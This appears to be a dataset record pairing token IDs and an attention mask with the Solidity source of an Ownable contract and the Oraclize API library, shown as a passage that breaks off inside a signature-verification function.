[ 101, 1014, 2595, 2683, 2575, 11329, 2692, 19317, 2683, 2497, 2487, 11057, 2497, 24096, 14142, 8889, 21057, 2683, 16932, 2509, 2546, 2692, 2581, 2683, 7875, 2692, 2683, 2575, 2094, 24087, 21486, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2410, 1025, 1013, 1008, 6643, 4817, 9226, 1008, 20228, 11057, 2243, 1012, 4012, 1008, 1008, 1030, 3166, 2745, 12098, 7693, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,556
0x96fc54eddaa481eb03d0566254a3c312fbfc4dcb
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0 contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; 